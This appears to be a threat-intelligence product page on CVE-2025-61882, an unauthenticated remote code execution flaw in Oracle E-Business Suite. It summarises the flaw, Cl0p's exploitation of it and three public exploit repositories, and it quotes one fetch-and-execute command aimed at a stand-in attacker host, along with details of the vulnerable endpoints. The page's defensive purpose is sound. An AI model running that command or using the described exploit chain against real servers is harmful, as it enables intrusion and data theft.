Loading vulnerability…
CVE-2025-61882 is a critical vulnerability in Oracle Concurrent Processing within Oracle E-Business Suite, specifically in the BI Publisher Integration component, affecting versions 12.2.3 through 12.2.14. The flaw is remotely exploitable over HTTP without authentication or user interaction and can be used to achieve remote code execution and full compromise of the affected component. Reporting on observed exploitation indicates the attack chain involved multiple web-application weaknesses, including server-side request forgery, CRLF injection, authentication bypass, and XSL template injection, culminating in arbitrary code execution. The vulnerability was exploited as a zero-day in attacks against internet-facing Oracle E-Business Suite environments.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
3 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (9 hidden).
Repository contains two files: a README describing CVE-2025-61882 and a single Python exploit script, exploit.py. The script is a standalone unauthenticated RCE PoC targeting Oracle E-Business Suite components over HTTP(S), specifically BI Publisher and Concurrent Processing-related paths. It accepts a base target URL, a command to execute, and an optional proxy. It constructs a Java serialized payload from a hardcoded base64 template plus attacker-controlled command data, sets Content-Type to application/x-java-serialized-object, disables TLS verification warnings, and iterates through eight hardcoded Oracle EBS-related endpoints using HTTP POST requests. The script prints status codes and partial response bodies for non-404/405 responses, making it both an exploitation and basic validation tool. There is no advanced session handling, authentication bypass logic, callback infrastructure, or payload customization beyond the supplied command, so it is best classified as an operational PoC rather than a framework-integrated or heavily weaponized exploit.
Repository contains a small proof-of-concept for unauthenticated remote code execution against Oracle BI Publisher (versions listed in README: 12.2.1.4.0, 12.2.1.3.0) via insecure Java deserialization in an integration component. Structure: - README.md: Describes the affected product/versions and states the issue is RCE via insecure deserialization. - exploit.java: Demonstrates crafting and sending a Java serialized object over a raw TCP socket to host "oracle-server" on port 9704. It hardcodes a command payload ("curl http://attacker.com/shell.sh | bash") and references generating a CommonsBeanutils1 gadget chain via ysoserial, but the actual gadget generation is a placeholder (generatePayload returns null) and the code as written is incomplete (e.g., missing ByteArrayOutputStream import). - exploit.sh: Alternative delivery simulation using curl to POST a serialized payload file (payload.ser) to http://192.168.1.100:9704/xmlpserver with Content-Type: application/java-serialized-object. Capabilities: - Intended capability is network-based delivery of a malicious Java serialized object to trigger deserialization and execute an arbitrary OS command on the target. - Includes a staged command that retrieves and executes a remote script, implying post-exploitation such as a reverse shell. Notable limitations: - Java exploit is not fully functional without implementing gadget generation (ysoserial integration) and fixing missing imports; thus it is best categorized as a POC rather than an operational exploit.
This repository provides a working exploit and scanner for CVE-2025-61882, a critical unauthenticated remote code execution vulnerability in Oracle E-Business Suite (EBS) BI Publisher/template processing (12.2.x series). The exploit leverages a server-side template injection via the '/OA_HTML/configurator/UiServlet' endpoint, allowing an attacker to execute arbitrary system commands on the EBS server without authentication. The repository contains three main Python scripts: - 'scan.py': A non-destructive scanner to probe for the presence of vulnerable endpoints on a target EBS instance. - 'exploit.py': The main exploit script, which interacts with the target, obtains necessary CSRF tokens, and triggers the vulnerability by referencing a malicious XSLT payload hosted on an attacker-controlled server. - 'server.py': A simple HTTP server that serves the malicious XSLT payload. The payload is dynamically generated to execute arbitrary commands (e.g., reverse shell, calc.exe) on the target, using Java reflection and scripting features available in the Oracle EBS Java backend. The exploit is operational and customizable, requiring the attacker to specify the target URL and the address of the attacker's payload server. The attack is performed over HTTP(S) and does not require authentication or user interaction. The README provides detailed usage instructions, legal disclaimers, and defensive recommendations. The code is cleanly separated into scanning, exploitation, and payload hosting components, making it straightforward to use in a test or lab environment. Key fingerprintable endpoints include '/OA_HTML/configurator/UiServlet', '/OA_HTML/runforms.jsp', and '/OA_HTML/JavaScriptServlet' on the target, as well as '/OA_HTML/help/../ieshostedsurvey.xsl' and '/OA_HTML/help/../ibeCRgpIndividualUser.jsp' on the attacker's server.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
540 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A zero-day remote code execution vulnerability in Oracle E-Business Suite that allows arbitrary code deployment via an unauthenticated HTTP request, affecting Oracle EBS versions 12.2.3 through 12.2.14.
An Oracle E-Business Suite authentication bypass and remote code execution vulnerability affecting versions 12.2.3 through 12.2.14, exploited in a broader campaign and linked in the content to the Estée Lauder breach.
A zero-day vulnerability in Oracle E-Business Suite that allowed unauthenticated remote code execution and was exploited by Cl0p to steal data from multiple companies.
A zero-day remote code execution vulnerability in Oracle E-Business Suite that allows unauthenticated attackers with network access to execute code over HTTP. It was mass-exploited to steal data from victims, including activity linked to Cl0p.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.